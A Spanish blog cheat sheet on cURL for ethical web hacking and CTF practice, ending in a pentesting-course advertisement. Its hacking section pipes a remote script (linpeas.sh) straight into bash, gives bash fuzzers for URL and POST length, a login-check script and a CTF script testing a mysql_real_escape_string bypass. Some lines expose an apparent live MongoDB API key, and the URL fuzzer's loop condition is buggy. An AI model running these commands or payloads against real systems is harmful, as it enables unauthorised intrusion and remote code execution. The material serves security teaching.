Sumérgete en el mundo del hacking web con una herramienta sorprendentemente poderosa: cURL. En este artículo, aprenderás cómo aprovechar al máximo cURL para realizar acciones de hacking ético y evaluaciones de seguridad web. Descubre las capacidades de esta utilidad de línea de comandos y eleva tus habilidades de hacking web a un nivel superior.

Con la aplicación de línea de comandos curl (también conocida como cURL, abreviatura de «URL del cliente»), puede automatizar acciones por lotes, como enviar miles de formularios de Google, inundar servidores con solicitudes en pruebas de penetración y acceder a archivos remotos con manos libres utilizando solo Unix. scripting bash sin lenguajes de programación adicionales.

Esta hoja de trucos de curl tiene como objetivo proporcionar una descripción general de curl para principiantes y una muestra de cómo hackear curl para fanáticos de la ciberseguridad como usted.

Tenga a mano el programa Terminal (en sistemas Unix/Linux, incluido macOS) para probar los comandos siguientes, muchos de los cuales producen resultados significativos. Cuando estés listo, profundicemos.

¿Te gustaría enterarte de cuando lanzamos descuentos al Máximo o Nuevos Cursos?

¿Qué es cURL?

cURL es la abreviatura de «Client URL» y es un proyecto de software que proporciona una biblioteca (libcurl) y una herramienta de línea de comandos (curl). Es una biblioteca gratuita de transferencia de URL del lado del cliente que admite los siguientes protocolos: Cookies, DICT, FTP, FTPS, Gopher, HTTP/1, HTTP/2, HTTP POST, HTTP PUT, HTTP proxy tunneling, HTTPS, IMAP, Kerberos, LDAP, POP3, RTSP, SCP, and SMTP Aunque Los proxies de ataque como BurpSuitePro son herramientas muy útiles, cURL le permite acercarse un poco más al nivel del protocolo, aprovechar las secuencias de comandos bash y proporciona un poco más de flexibilidad cuando trabaja en una vulnerabilidad compleja.

En las redes de computadoras, un cliente es una máquina que solicita datos o servicios y un servidor es una máquina que los proporciona. curl es un programa de línea de comandos para que los clientes envíen solicitudes a los servidores.

curl es útil para verificar rápida y automáticamente las respuestas de los servidores, siendo su uso principal los comandos curl GET y curl POST . Como curl opera a nivel de protocolo (HTTP/S, FTP, SCP, IMAP, POP3, SMTP, etc.), puede adaptar las solicitudes del servidor y los ataques cibernéticos a vulnerabilidades complejas que no están cubiertas por herramientas de seguridad prácticas como Burp Suite Pro.

Cuanto más familiarizado esté con el curl, más finamente podrá ajustar las operaciones de curl. Esta hoja de trucos para curl te ayudará a comenzar.

Nota: Los sitios web activos en los siguientes comandos funcionan al momento de escribir este artículo, pero las URL y la tecnología pueden cambiar en cualquier momento. Demos un vistaso rápido de lo que puedes ahacer:

Parámetro GET

Las variables HTTP GET se pueden configurar agregándolas a la URL.

curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia

Parámetros POST

Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:

$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php

Cookies

cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:

$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php

También puedes especificar tus propias cookies usando el parámetro -b:

$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php

Agentes de usuario de cURL

$ curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" http://10.10.10.10/login.php

Guarda la respuesta del servidor en un archivo.

$ curl -o payload.sh http://10.10.10.10/payload.sh

Descarga un archivo a la carpeta actual

$ curl -O http://10.10.10.10/payload.zip

Sigue HTTP/1.1 302 redirecciones encontradas

curl -L http://10.10.10.10/profile.php

Encabezados de respuesta de salida de cURL a STDOUT

$ curl -i http://10.10.10.10/profile.php

cURL ve información detallada de depuración (encabezados de respuesta y otros detalles de depuración – STD2)

$ curl -v http://10.10.10.10/profile.php

Buscando en la web

El uso más sencillo de curl es la visualización de sitios web y archivos en la línea de comandos, que es también la forma en que la mayoría de los estudiantes de informática aprenden sobre curl en primer lugar.

Las opciones curl (también conocidas como banderas ) comienzan con un guión (-) o dos (–) y toman argumentos que son cadenas, URL o rutas de archivo.

DOMINIODESCRIPCIÓN
curl https://achirou.com/Devuelve el archivo fuente de una URL https://achirou.com/
curl --list-only "http://socialdance.stanford.edu/music/"Lista de contenidos del directorio http://socialdance.stanford.edu/music/
curl -lAbreviación decurl --list-only
curl --location "https://aveclagare.org/mp3"Redirigir la consulta según lo especificado en el código de respuesta de estado HTTP 3xx. Este directorio URL, https://aveclagare.org/mp3 , no devuelve la lista de archivos MP3 usando el curl --list-onlycomando, pero sí con curl --location.
curl -LAbreviación de curl --location
curl --fail-early "ftp://ftp.corel.com"Falla rápidamente al resolver ftp://ftp.corel.com
curl --head "https://achirou.com/"Obtener encabezados HTTP de la URL https://achirou.com/
curl -IAbreviación decurl --head
curl --head --show-error "https://achirou.com/holamundo/"Compruebe si el sitio https://achirou.com/holamundo/ está inactivo
curl --head --location "https://lnkd.in/dQ2hhwz3" | grep LocationExpanda una URL acortada o disfrazada:
https://lnkd.in/dQ2hhwz3 redirige a una entrada de este blog. Esto también es útil cuando desea descubrir los sitios web reales detrás de los hipervínculos.

Descargando archivos

Los siguientes comandos son útiles cuando deseas extraer contenido de sitios web. Los siguientes comandos devuelven resultados significativos al momento de escribirlos. Cambie los parámetros para adaptarlos a sus propósitos.

DOMINIODESCRIPCIÓN
curl --output hello.html https://achirou.com/Envía la URL https://achirou.com/ a un archivo hello.html
curl -oLa abreviatura de curl --output. -osolo funciona si se coloca antes del parámetro de la URL de destino.
curl --remote-name "https://core.ac.uk/download/pdf/71450528.pdf"
Descargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y guarde el archivo sin cambiar su nombre.
curl -"https://core.ac.uk/download/pdf/71450528.pdf« --output notas_hack.pdfDescargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y cámbiele el nombre. notas_hack.pdf
Alternativamente, puede reemplazarlo --outputcon >. Reemplazar --outputcon -ono funciona aquí.
curl --remote-name --continue-at - "https://core.ac.uk/download/pdf/71450528.pdf"Continuar con la descarga parcial de un archivo https://core.ac.uk/download/pdf/71450528.pdf
curl "https://en.wikipedia.org/wiki/{Linux,Windows,OSX}" --output "file_#1.html"Descargue archivos desde múltiples ubicaciones y asígneles un nombre según el formato. file_(operating system).html
curl "https://www.gutenberg.org/files/[158-161]/[158-161]-0.{txt,zip}" --output "bk#1_#2.#3"Descargar una secuencia de archivos y resultados. bk158_158.txt, bk158_158.zip, …, bk161_161.zip
curl --location http://socialdance.stanford.edu/music/ | grep '.mp4' | cut -d \" -f 8 | while read i; do curl http://socialdance.stanford.edu/music/"${i}" -o "${i##*/}"; doneDescargue todos los archivos MP4 desde la URL http://socialdance.stanford.edu/music/ .
Aquí, use grep para filtrar los archivos MP4, cut para encontrar la ruta a los archivos requeridos (el delimitador es » y la cadena de ruta estaba en el octavo delimitador), un whilebucle con curl ayuda a descargar los archivos de forma recursiva.
Necesitará modificar los comandos grep cut para descargar otros tipos de archivos y que localice hipervínculos relevantes en el código fuente HTML de la URL que especifique.

Comandos GET curl

Las variables HTTP GET se pueden configurar agregándolas a la URL.

$ curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia

Utilice estos comandos para realizar una solicitud GET mediante curl. Los comandos curl GET pueden requerir que pases claves de autorización a través de la bandera --header.

También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados. 

DOMINIODESCRIPCIÓN
curl --request GET "https://achirou.com/"Obtenga la fuente HTML de la URL https://achirou.com/ y envíela a la consola del terminal.
curl -XAbreviación decurl --request
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --header 'Content-Type: application/json'Obtenga todos los documentos de MongoDB de la viewdata-kqgls con la cadena secreta proporcionada y el encabezado como parámetros de consulta. El resultado esperado es un objeto JSON que contiene todos los documentos.
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo&id=636b5046e54ce11139fd8b96' --header 'Content-Type: application/json'Obtenga un documento MongoDB de la viewdata-kqgls con el ID, la cadena secreta y el encabezado del tipo de contenido proporcionados como parámetros de consulta.
El resultado esperado es el documento, Get a MongoDB document from the viewdata-kqgls app with the given ID, secret string, and content type header as query parameters.The expected result is the document, if it exists:{«_id»:»636b5046e54ce11139fd8b96″,»name»:»Alvaro«,»age»:37,»greeting»:»Greetings, everyone.»}

Comandos POST curl

Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:

$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php

Utilice estos comandos para realizar una solicitud POST utilizando curl. Los comandos curl POST pueden requerir que el --headerindicador pase claves de autorización.

También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados.

DOMINIODESCRIPCIÓN
curl --headerPasar un encabezado a la URL del servidor
curl -HAbreviación decurl --header
curl --request POST "https://achirou.com/ " -d 'some data'Obtenga la fuente HTML de la URL https://achirou.com/
curl -XAbreviación decurl --request
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/insertOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","document": { "name": "Alvaro", "age": 37, "greeting": "Greetings, everyone." }}'Cargue a través de la API de datos de MongoDB el objeto Javascript dado a una base de datos y a una colección denominada curlhacks. El resultado esperado: {"insertedId":"636b5046e54ce11139fd8b96"}
esto significa que curlhacks se ha registrado el nuevo objeto Javascript como un documento MongoDB con el ID proporcionado.
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/findOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "name": "Alvaro" }}'Solicite a través de la API de datos de MongoDB la base de datos y la colección, ambas denominadas curlhacks, para un documento con el par clave-valor {"name": "Alice Bob"}.
El resultado esperado es el documento solicitado:{"document":{"_id":"636b5046e54ce11139fd8b96","name":"Alice Alvaro","age":37,"greeting":"Greetings, everyone."}}
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/deleteOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "_id": { "$oid": "636b4f88fd82bd55d90962c6" } }}'Elimine a través de la API de datos de MongoDB un documento con el ID proporcionado de la base de datos y la colección, ambos denominados curlhacks.
El resultado esperado: {"deletedCount":1}
esto significa que curlhacks se ha eliminado un documento de MongoDB, concretamente el especificado.

Interacción API

Los siguientes comandos pueden ayudarle a automatizar las solicitudes de consultas web, como los envíos de formularios de Google. 

DOMINIODESCRIPCIÓN
curl "https://gitlab.com/api/v4/projects"Consultar un punto final API
curl --header "Auth-Token:$DB_APP_TOKEN" "https://example.com/api/v3/endpoint"Pase un encabezado a la URL de un servidor. Un encabezado es un campo de una solicitud o respuesta HTTP que pasa contexto y metadatos adicionales sobre la solicitud o respuesta. En este ejemplo, el encabezado es un token de autorización.
curl -HAbreviación decurl --header
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse"Envíe datos sin procesar codificados en URL "Alvaro"a un punto final de API, en este caso un formulario de Google.
curl -dAbreviación decurl --data
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.htmlEnvíe datos sin procesar codificados en URL "Alvaro"a un punto final de API, en este caso un formulario de Google, y envíelos a los datos de salida.html devueltos por el servidor.
curl --form "emailAddress=test@myemail.com" --form "submit=Submit" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.htmlEmule el envío de una dirección de correo electrónico a un punto final API (formulario de Google aquí) y luego presione el botón Enviar. El archivo de salida, output.html tendrá un campo de dirección de correo electrónico completo.
curl -FAbreviación decurl --form
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.htmlEnvíe a un punto final API (formulario de Google aquí) el contenido del archivo /Users/user1/Downloads/playlist.m3u del parámetro entry.123456789. El símbolo < aquí significa que está enviando datos al servidor, a diferencia de > para los datos que recibe del servidor. Puede encontrar los parámetros del formulario entry.123456789 (el número no puede tener nueve dígitos) utilizando el Inspector de su navegador. En los navegadores basados ​​en Chrome, haga clic derecho en la página y seleccione «Inspeccionar» para ver el Inspector. El archivo de salida, output.html mostrará el contenido del archivo en el campo correspondiente.
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" --form "emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse"Envíe más de un dato al punto final de API determinado. Este comando envía el correo electrónico y el archivo de lista de reproducción especificados. La salida de este comando estará en la terminal.
curl --data "entry.123456789=</Users/user1/Downloads/playlist.m3u&emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse"De manera similar a lo anterior, envíe más de un dato al punto final de API determinado.
Este comando envía el correo electrónico y la cadena de datos sin procesar " </Users/user1/Downloads/playlist.m3u".
La salida de este comando estará en la terminal.
curl --form "input=@pic1.jpg" "https://www.iloveimg.com/resize-image" > output.html
curl --form "input=/Users/user1/Downloads/pic1.jpg" "https://www.iloveimg.com/resize-image" > output.html
Envíe un archivo /Users/user1/Downloads/pic1.jpg como datos de formulario al punto final de API determinado. Ambos comandos son equivalentes. Envían un archivo de imagen a https://www.iloveimg.com/resize-imag.Utilice @ si el archivo está en el directorio de trabajo actual (obtenido a través de pwd); No utilice @ si proporciona la ruta completa del directorio del archivo.
El archivo de salida, output.htmlmostrará las opciones de cambio de tamaño de imagen devueltas por la API.

Cookies

cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:

$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php

También puedes especificar tus propias cookies usando el parámetro -b:

$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php

Parece que la sola acción de enviar cookies al sitio web de destino no afecta el diseño HTML del sitio web. Sin embargo, curl admite los siguientes métodos:

DOMINIODESCRIPCIÓN
curl --cookie "registered=yes"Enviar "registered=yes"como cookie
curl --cookie "name=Alvaro;email=test@myemail.com"Enviar «nombre=Alvaro» y "email=test@myemail.com"como cookies
curl --cookie import_cookies.txtEnviar el contenido de import_cookies.txtcomo cookie(s).
Como la mayoría de los navegadores ya no admiten el “Set-Cookie:”prefijo, formatee sus cookies en el archivo como:
key1=value1;key2=value2
curl -bAbreviación de--cookie
curl --cookie-jar mycookies.txtEscriba cookies mycookies.txtdespués de ejecutar la operación curl en otras banderas
curl -cAbreviación de--cookie-jar
curl --dump-header headers_and_cookies.txt https://achirou.com/Envíe encabezados HTTP y datos de cookies de https://achirou.com/ aheaders_and_cookies.txt
curl -DAbreviación decurl --dump-header

curl Script

Puede utilizar comandos curl en scripts bash. Aquí hay algunos scripts de ejemplo que involucran comandos curl:

EJEMPLODESCRIPCIÓN
paquete-instalación-curl.shInstalar paquetes con curl
curl-url-time.shConsultar el tiempo de respuesta de un sitio web
formato curl-json.shEmbellecer la salida json para la respuesta curl
curl-remote-scripts.shcurl ejecutar scripts remotos

curl avanzado

Aquí hay algunos comandos para ajustar sus operaciones de rizo.

DOMINIODESCRIPCIÓN
curl -hMostrar comandos de ayuda
curl --versionMostrar versión rizo
curl -v ftp://ftp.afip.com/Obtenga resultados detallados mientras se conecta a la URL ftp://ftp.afip.com/. Puede usar este indicador -v junto con otros indicadores como --head, --location.
curl --trace ftp_X.txt https://twitter.com/Obtenga detalles de los paquetes capturados en la conexión a la URL https://twitter.com/
curl -s https://twitter.com/ > twitter.htmlDescargue la URL https://twitter.com/ en modo silencioso, sin mostrar el progreso
curl -L "https://twitter.com/search" --connect-timeout 0.1Especifique el tiempo máximo en segundos (0,1 segundos en este ejemplo) permitido para conectarse a la URL https://twitter.com/search
curl -s -w '%{remote_ip} %{time_total} %{http_code} \n' -o /dev/null https://achirou.com/Devuelve los valores de los parámetros especificados como una cadena '%{remote_ip} %{time_total} %{http_code} \n'en la salida del terminal y suprime todas las demás salidas del sistema.
curl -r 0-99 https://achirou.com/Obtenga los primeros 100 bytes de la URL https://achirou.com/
curl -r -500 https://achirou.com/Obtenga los últimos 500 bytes de la URL https://achirou.com/
curl -r 0-99 ftp://ftp.afip.comObtenga los primeros 100 bytes de una URL FTP. curl solo admite rangos con posiciones iniciales y finales explícitas.
curl -m 0.1Especifique el tiempo máximo de operación en segundos (0,1 s aquí)

Ejemplo de solicitud curl

Concluyamos este artículo con un truco de solicitud POST curl. Proceda bajo su propio riesgo.

DOMINIODESCRIPCIÓN.
curl -X POST https://textbelt.com/text --data-urlencode phone='+[area code][phone number]' --data-urlencode message='Hola Mundo =).' -d key=textbeltEnvía un mensaje de texto SMS gratuito a un número de teléfono en formato E.164 a través de https://textbelt.com/ con la clave API textbelt. Si tiene una clave API personalizada, reemplace » textbelt» con ella.

Hackear con cURL

Ahora que hemos cubierto la sintaxis básica y los casos de uso, aquí hay algunas aplicaciones de hacking prácticas que son muy útiles en Hackthebox o cajas CTF.

Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente a bash:

$ curl -sSk "http://10.10.10.10/linpeas.sh" | bash

Atacar un formulario de inicio de sesión con cURL

$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php

Creando nuevos usuarios con cURL

$ curl --data "name=test&email=test@test.com&password=test" http://10.10.10.10/newuser.php

Fuzzing servidores web con cURL

A menudo, al realizar una evaluación de un servidor web, intentaremos desencadenar condiciones de error que proporcionarán información más profunda sobre los procesos y el software subyacentes. cURL puede ser una poderosa herramienta de fuzzing para generar estos mensajes de error de casos extremos.

Fuzzing con límites de longitud de URI / GET de longitud de parámetro con cURL

El siguiente script se puede utilizar para crear un servidor web con una URL larga, realizar un seguimiento de los cambios en la salida y escribir la salida en un archivo. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Puede modificar la URL para difuminar un URI o un parámetro GET.

Aquí está el script de bash shell:

#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
        fuzz=""
        for ((x = 1; x <= $i; x++))
        do
                fuzz+="A"
        done
        #echo "COUNT: $i $fuzz"
        #echo "${1}${fuzz}"
        echo "${i}" | { tr -d '\n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc ${4}; }
done

A continuación se muestra un ejemplo de cómo se ve en ejecución:

./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9  31 274 output.txt
...
...
100000 11  37 343 output.txt
100001 11  37 343 output.txt
100002 11  37 343 output.txt
100003 11  37 343 output.txt
100004 11  37 343 output.txt
100005 11  37 343 output.txt

Fuzzing límites de longitud del parámetro POST con cURL

El siguiente script se puede utilizar para modificar los parámetros POST de un servidor web y escribir la salida en un archivo y realizar un seguimiento de los cambios en esa salida.  Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash.

Aquí está el script de bash shell:

#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath> <Post data: var=value&var2=valuefuzz>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
        fuzz=""
        for ((x = 1; x <= $i; x++))
        do
                fuzz+="A"
        done
        #echo "COUNT: $i $fuzz"
        #echo "${5}${fuzz}"
        echo "${i}" | { tr -d '\n' ; curl "${1}" -o ${4} -d "${5}${fuzz}" 2>/dev/null | wc ${4}; }
done

A continuación se muestra un ejemplo de cómo se ve en ejecución:

./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt "user=test&password=test"
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9  31 274 output.txt
...
...
100000 11  37 343 output.txt
100001 11  37 343 output.txt

Verifique si el inicio de sesión de un usuario es correcto en un script Bash

El siguiente script se puede utilizar para verificar que un nombre de usuario y un inicio de sesión sean correctos.  Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Verificará los caracteres de longitud de la respuesta para ver si es una respuesta válida. Deberá ajustar el recuento de caracteres esperado para su aplicación.

#!/bin/bash
result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c))
echo $result
if [ "$result" == '0' ]
then
        echo 'zero'
else
        echo 'NOT zero'
fi

Aquí está el guión en acción:

$ ./check_user.sh http://10.10.10.10/login.php test@test.com testpassword
0
NOT zero

Automatizar la creación de usuarios y probar la omisión de mysql_real_escape_string

 Está destinado a ser una base para que construya un fuzzer adecuado usando cURL y Bash. Aquí hay un script bash que creé para un CTF para validar una teoría que tenía sobre el uso del método PHP mysql_real_escape_string:

#!/bin/bash
# Test for mysql_real_escape_string
email=test@test.com
password=1234567890123456789012345678901234567890123456789012345678901234567890123456789
fuzz="뽜’’AA"
name="‘¿’’AA"
ip="10.10.10.10"
echo "Creating User: ${email}"
curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null
echo " "
echo "============================================"
echo "Login as User"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null  | grep 'location'
echo " "
echo "============================================"
echo "Check user profile with cookie"
echo "============================================"
curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td align="center"'
echo " " 
echo "============================================"
echo "Change Name"
echo "============================================"
curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php" 
echo " " 
curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td align="center"'
echo " "
echo " DELETEING COOKIE "
rm cookies.txt
echo "============================================"
echo "Relogin as User - did password change?"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php"  2>/dev/null  | grep 'location'
echo " " 
echo " DONE!"
echo " DELETEING COOKIE "
rm cookies.txt

Esperamos que esta hoja de trucos sobre cURL te ayude a explorar sus usos. Al concluir esta inmersión en el hacking web con cURL, habrás desbloqueado un conjunto de habilidades que te permitirán abordar desafíos de seguridad de manera única. La versatilidad de cURL como herramienta de línea de comandos te brindará un control sin igual sobre las interacciones web.

Pentesting Web. Prácticas de un Ethical Hacker Profesional.

El Pentesting Web se enfoca principalmente en aplicaciones y paginas funcionando en internet. Esto genera que su demanda laboral sea además de muy alta, sumamente importante.

La gran ventaja de esta profesión es que efectivamente, puedes llevarla adelante desde cualquier parte del mundo, con una computadora e internet.

Nosotros te brindaremos los fundamentos teóricos y la base necesaria para que empieces desde 0, y vayas avanzando hacia el ámbito profesional, con laboratorios simulando entornos reales

Hemos creado esta formación profesional donde aprenderás todo lo que necesitas para ser un experto, y con practicas que podrás aplicar en escenarios reales.

Contaras con nuestra supervisión, experiencia y respuesta a todas tus preguntas que tengas sobre el contenido. Así también sobre las actualizaciones que hagamos sobre el curso, el cual será tuyo de por vida y recibirás dichas actualizaciones sin tener que volver a pagar.

Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.700.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma.

Y junto a mi compañero el profesor Walter Coto donde con él hemos dictado formaciones profesionales en conjunto también en la plataforma de Udemy, el cuenta con más de 330.000 Estudiantes y hoy les traemos esta oportunidad de seguirse formando en hacking ético en entornos Web.

Tendrás acceso de por vida al cursorecibirás actualizaciones y respuestas a tus preguntas a través de la plataforma de Udemy.

Empieza a aprender ya mismo!

Lo que aprenderás

  • Hacking Ético Web
  • El TOP 10 Vulnerabilidades Web de OWASP
  • Uso de Burp Suite
  • Identificar Vulnerabilidades Web
  • Explotar Vulnerabilidades Web
  • Identificar Vulnerabilidades que NO son de OWASP TOP 10
  • Prácticar con Escenarios Reales de Hacking Web
  • Las 5 Fases del Pentesting Web

Aprende Pentesting Web, Hacking Ético y Ciberseguridad. Practicas reales y aprender todo sobre Vulnerar entornos Web: https://achirou.com/pentesting-web

¿Te gustaría enterarte de cuando lanzamos descuentos al Máximo o Nuevos Cursos?